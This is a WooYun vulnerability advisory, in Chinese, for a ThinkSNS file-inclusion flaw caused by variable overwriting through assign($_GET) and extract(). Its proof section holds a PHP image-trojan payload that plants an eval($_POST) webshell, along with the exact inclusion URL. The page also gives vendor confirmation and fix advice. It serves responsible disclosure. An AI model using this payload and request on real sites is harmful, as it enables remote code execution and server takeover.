当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-056641

漏洞标题:ThinkSNS任意文件包含(可getshell)

相关厂商:ThinkSNS

漏洞作者: Ano_Tom

提交时间:2014-04-11 11:53

修复时间:2014-07-10 11:54

公开时间:2014-07-10 11:54

漏洞类型:文件包含

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-11: 细节已通知厂商并且等待厂商处理中
2014-04-12: 厂商已经确认,细节仅向厂商公开
2014-04-15: 细节向第三方安全合作伙伴开放
2014-06-06: 细节向核心白帽子及相关领域专家公开
2014-06-16: 细节向普通白帽子公开
2014-06-26: 细节向实习白帽子公开
2014-07-10: 细节向公众公开

简要描述:

ThinkSNS某处处理不当,可以导致任意代码执行。

详细说明:

漏洞文件:/thinksns/apps/w3g/Lib/Action/PublicAction.class.php
函数:

public function register() {
// if (!$this->isRegisterOpen())
// redirect(U('/Public/login'), 3, '站点未开放注册');
$this->assign($_GET);//获取的变量进入assign函数
$this->display();//然后执行了display()
}


跟踪assign函数
/thinksns/core/OpenSociax/Action.class.php
函数:

public function assign($name,$value='') {
if(is_array($name)) {
$this->tVar = array_merge($this->tVar,$name);
// var_dump($this->tVar);//die;
}elseif(is_object($name)){
foreach($name as $key =>$val)
$this->tVar[$key] = $val;
}else {
$this->tVar[$name] = $value;
}
}


如果$name为数组,则跟全局变量$tVar合并,而后执行的display()函数,而该函数调用则用到了$tVar变量
display()函数的文件为/thinksns/core/OpenSociax/functions.inc.php
函数:

function display($templateFile='',$tvar=array(),$charset='UTF8',$contentType='text/html') {
fetch($templateFile,$tvar,$charset,$contentType,true);
}


调用了fetch函数,fetch函数文件/thinksns/core/OpenSociax/functions.inc.php
函数:

function fetch($templateFile='',$tvar=array(),$charset='utf-8',$contentType='text/html',$display=false) {
//注入全局变量ts
global $ts;
$tvar['ts'] = $ts;
//$GLOBALS['_viewStartTime'] = microtime(TRUE);
if(null===$templateFile)
// 使用null参数作为模版名直接返回不做任何输出
return ;
if(empty($charset)) $charset = C('DEFAULT_CHARSET');
// 网页字符编码
header("Content-Type:".$contentType."; charset=".$charset);
header("Cache-control: private"); //支持页面回跳
//页面缓存
ob_start();
ob_implicit_flush(0);
// var_dump($templateFile);die;
// 模版名为空.
if(''==$templateFile){
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';
// 模版名为ACTION_NAME
}elseif(file_exists(APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html')) {
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.$templateFile.'.html';
// 模版是绝对路径
}elseif(file_exists($templateFile)){
// 模版不存在
}else{
// return 1;
throw_exception(L('_TEMPLATE_NOT_EXIST_').'['.$templateFile.']');
}
//模版缓存文件
$templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';
//载入模版缓存
if(!$ts['_debug'] && file_exists($templateCacheFile)) {
//if(1==2){ //TODO 开发
// 如果缓存文件存在,则释放变量包含,此处由于没有模版,所以暂时无法包含
extract($tvar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;
//重新编译
}else{
// 没有模版缓存,则重新编译
// echo 3333;die;
tshook('tpl_compile',array('templateFile',$templateFile));
// 缓存无效 重新编译
tsload(CORE_LIB_PATH.'/Template.class.php');
tsload(CORE_LIB_PATH.'/TagLib.class.php');
tsload(CORE_LIB_PATH.'/TagLib/TagLibCx.class.php');
// var_dump($tvar);die;
$tpl = Template::getInstance();
// 编译并加载模板文件
$tpl->load($templateFile,$tvar,$charset);
}
// 获取并清空缓存
$content = ob_get_clean();
// 模板内容替换
$replace = array(
'__ROOT__' => SITE_URL, // 当前网站地址
'__UPLOAD__' => UPLOAD_URL, // 上传文件地址
//'__PUBLIC__' => PUBLIC_URL, // 公共静态地址
'__PUBLIC__' => THEME_PUBLIC_URL, // 公共静态地址
'__THEME__' => THEME_PUBLIC_URL, // 主题静态地址
'__APP__' => APP_PUBLIC_URL, // 应用静态地址
'__URL__' => __ROOT__.'/index.php?app='.APP_NAME.'&mod='.MODULE_NAME,
);
if(C('TOKEN_ON')) {
if(strpos($content,'{__TOKEN__}')) {
// 指定表单令牌隐藏域位置
$replace['{__TOKEN__}'] = $this->buildFormToken();
}elseif(strpos($content,'{__NOTOKEN__}')){
// 标记为不需要令牌验证
$replace['{__NOTOKEN__}'] = '';
}elseif(preg_match('/<\/form(\s*)>/is',$content,$match)) {
// 智能生成表单令牌隐藏域
$replace[$match[0]] = $this->buildFormToken().$match[0];
}
}
// 允许用户自定义模板的字符串替换
if(is_array(C('TMPL_PARSE_STRING')) )
$replace = array_merge($replace,C('TMPL_PARSE_STRING'));
$content = str_replace(array_keys($replace),array_values($replace),$content);
// 布局模板解析
//$content = $this->layout($content,$charset,$contentType);
// 输出模板文件
if($display)
echo $content;
else
return $content;
}


调用display()函数时候,$templateFile='',$tvar=array(),两个参数都为空,同样进入fetch()时两个函数也为空,
fetch()函数中,如果$templateFile=''为空,则执行

if(''==$templateFile){
$templateFile = APP_TPL_PATH.'/'.MODULE_NAME.'/'.ACTION_NAME.'.html';//赋值模版文件为/w3g/Tpl/default/public/register.html,而该文件默认是存在的
echo $templateFile;//如果templatefile为空则执行,将template的路径输出,
//输出/thinksns/apps/w3g/Tpl/default/public/register.html
// var_dump($tVar);die;
// 模版名为ACTION_NAME
}


然后生成模版缓存文件,执行
$templateCacheFile = C('TMPL_CACHE_PATH').'/'.APP_NAME.'_'.tsmd5($templateFile).'.php';
获得的文件路径为
/thinksns/_runtime/tplcache//w3g_7ea60510bedf5769.php
然后执行载入模版缓存

//载入模版缓存
if(!$ts['_debug'] && file_exists($templateCacheFile)) {
//if(1==2){ //TODO 开发
// 如果缓存文件存在,则释放变量包含,此处由于没有模版,所以暂时无法包含
extract($tvar, EXTR_OVERWRITE);
//载入模版缓存文件
include $templateCacheFile;
//重新编译
}


代码extract($tvar, EXTR_OVERWRITE);
include $templateCacheFile;
释放变量,覆盖$templateCacheFile即可任意文件包含

漏洞证明:

注册普通用户,上传图片木马,图片木马嵌入代码为

<?php file_put_contents("hello.php","<?php @eval(\$_POST[CC])?>");?>


2.上传图片
上传后返回/thinksns/data/upload/2014/0411/11/53475f6a7374d_100_100.jpg
则图片文件为/thinksns/data/upload/2014/0411/11/53475f6a7374d.jpg
执行包含,/thinksns/index.php?app=w3g&mod=public&act=register&templateCacheFile=/data/upload/2014/0411/11/53475f6a7374d.jpg
在根目录下生成hello.php

EEEE.jpg


连接如图

修复方案:

修复$this->assign($_GET);
或者修复代码中的变量覆盖问题

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-04-12 10:31

厂商回复:

非常感谢!

最新状态:

暂无